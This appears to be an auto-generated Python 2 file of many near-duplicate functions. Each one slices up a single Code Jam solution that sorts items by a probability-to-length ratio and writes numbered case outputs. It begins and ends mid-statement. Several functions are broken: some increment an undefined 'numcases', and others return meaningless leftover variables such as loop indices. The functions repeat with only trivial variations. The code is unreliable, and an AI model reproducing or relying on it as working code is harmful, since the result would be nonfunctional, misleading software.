[(q[i], -i) for i in xrange(n)] r.sort() return n def func_97edd04b955446f6833363f840390287(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return l def func_93c86ff362ff4b889a314b115cb362f3(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return r def func_f4d4f32bf426498f90ab940fd201952f(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return p def func_74d031e318924dcdbf81949a29575013(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return q def func_aba2cdd36fbc4201b19a756ff6578b9d(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return i def func_3b75c0f3a4e14c5bb505118dc1fe274e(n, fin): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return l def func_8ff9967ef36f4363bd8cb481593f3f10(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return r def func_e5261efb5017481bbbf73036097149d5(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return q def func_eb351238b2dc40ea853ef428b134b159(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return i def func_8abe3743b50b4301bc17dc7c3c01fc02(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return p def func_0b1f7ecda7c5428eb81608c50ce42eac(p, n, fout, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_202227611f164071a4f1a0f71ae82977(p, n, fout, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_1fe890ac2bf047e79d2fe6a16abd293e(p, n, fout, l): q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_6d7e1c47c5854d41b58627eb16ae127c(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return n def func_6e659a3ce40b456dae18a5bbc3a77e87(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return l def func_b50fab9f8f2e4e2092e5ab4820e1624b(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return i def func_586e7cf030c4446fa35a881321e1d407(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return p def func_2f1157cd66ac43528f554aee15d6dd71(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return q def func_65bd148677174259a3d159fd22accc40(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() return r def func_85e69b9d3ea0499b8702d0bbf37e9dc6(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return r def func_ad2f8e75e0ec41f1ae500fed177978bc(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return l def func_c5895a759b96462ebd7a5fd3d891bff3(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return n def func_6b3c7e56f5314ad0ac1d0f2c2419aa5e(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return i def func_6fbc807fb5ff4dd6b69168212c21ef35(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return p def func_3af8cf316ce345ce82226bdfc4b4004c(fin): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return q def func_28ccbb58414e4f0aa0b91ea55f197da9(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return q def func_b879595de2164b5884114467e0c7f117(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return i def func_e50991bfb02c44069c81de1a10cc4a8c(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return r def func_30cdedc95e344e05b6d00b45bf5b5c6a(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return l def func_17f4145aff97460095c72adc750952ac(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return p def func_5dfef472e11e42dcbe999966bc0cae2c(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_be1c1ec0c22949d5859e7f85d35e2525(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_046a2158301d44c9aac36863aa0f1735(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_7376b6c416184c7bad720691ac8c8e29(n, fin, fout, l): p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_5245e4633e6845f397696eacf42a24b9(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return p def func_cebed36136b546de84735b89d78aa255(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return r def func_e9f8855214724ec6a476762b1b881bd3(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return q def func_a1c5c0954fd44a04b5711a613b5e8461(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return n def func_465642dbf15b43828a6cdcb98bb9b2e2(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return l def func_a20a8f568a254c7f8d4948b802e24515(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() return i def func_47f9ca21c08644dcbd38df7d9708510e(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return l def func_410eace02a7b4c198ae9d49e9dcf3230(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return q def func_bdc6e549ccd9489286c00e5c96e83b3c(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return i def func_ff8afc7f4c3c4adeb155213d31607436(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return p def func_38ecb9862f1f4c09aae2330ac0c2f2d1(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return n def func_818449c7298a4eefb78285bade7586a8(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return r def func_7800bf93dc1145e59b4054ce19a2711e(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_82138303957b40db9563b736192c9393(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_c52dd62ca579472eae35237c579892ad(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_fc817505b3894f8ea2f1d7514f2de503(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_655321c509954a339acc790109276db3(n, fin, fout): l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return l def func_c33ae544e8004d0384d8b27d9b2b3da0(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return n def func_f8af966b4ee146178fe8bbc0e7316d1f(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return l def func_05eb7bff439e4f83a54fa3a08ab5ce61(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return q def func_59e8d9f3274f457f9bcb90c76aff0383(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return r def func_78d432d447344c939f1d293f02824d59(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return i def func_80e1a7ca047d47dd9144cb1f20558884(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) return p def func_2cdf45bb29804d969fe316012bba18be(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_66f1121e5680487482925bae9341342d(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_a1a9f654d24e4791a5d145bf2068e844(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_b63d7e4e7c7241a1b6bc237c6d557278(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return n def func_38e479a220354055bd43c11e9675ea69(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return l def func_fcc683153d74461cb862193d3a018e39(fin, fout): n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_10687ce835bc4f3dba2108b54a2df841(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return n def func_3b1b8c4e974e48939f1caa18d650cb4c(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return l def func_95947171fd5a4519b6f8b7231168092a(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_a1d7045881f540a9b6785f3e99120b88(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_08d232b143e14340811383ae23f8f146(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_39731408a88742e389f7321944081ea9(fin, cas, fout): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_d7ea3a43688344a49f2c99418bc9b7a7(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') return fin def func_05c52a0035c0475eba20619d78ab40fc(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') return fout def func_95fbac30df0f47c997923e9bb5abafc2(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) return fout def func_c070cfbe5ac14317b05513b7ffced7e0(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) return numcases def func_c99cff50a0364a19948078deb6cf2107(fin): numcases = int(fin.readline()) numcases += 1 return numcases def func_e61f01bc447e4f2699a51996f93d4f14(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return i def func_7fb330aed4054b4a8b044e643c4d950f(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return numcases def func_2b3c5f1691c64bfcb17685ab1766cbbf(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return l def func_33237be1fd13429fa2a81d4731245192(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return q def func_9398c92a14a345189a700377fc6a1d5a(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return n def func_a50c6c1cba04412d8c91afb911caa3ea(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return cas def func_9ba899c5024d44f5968abe301a5cd496(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_92b448f444cb4ac195b032eaca86e229(fin, fout): numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_b2300358a1e54ab28a7c93b840c42bf2(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return i def func_e1942ab19f6d4b4c860ce39186cb6855(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return l def func_2a6176719d0f4503acd26a1e0031f8d9(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return q def func_b9fd54e3200749d4a9b6d4413693f9e5(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return r def func_04f0830f119a4acdb0213caab97c8afe(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return cas def func_5e10794e8e0742b1895f3e385bca32a9(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return p def func_63f8069b22df4adb9813bb68ac5f5779(fin, numcases, fout): for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return n def func_cbf2bb1b7e7c406c991ff10234b3cb4d(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) return fout def func_92ee10071f2046f096472872cb2f7408(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) return fin def func_d089943429eb46e588e8b6520cdc0d01(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) return numcases def func_ff6d922f4bfd4c5eb848189da0e2d241(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 return numcases def func_25a2d95f2b154617b125f66f3c092faf(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 return fout def func_aa5b498e91494b36b93f405dcd9d5038(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return r def func_44f0d30cda164a4d91b56f2063cb474e(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return p def func_2c5fe8607e304b9ea8de20266455af9e(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return n def func_e154eebfd3974b0898770106dfa2ef71(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') return numcases def func_3a6730ff4b8b4d81a299c6ec79022dd2(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = 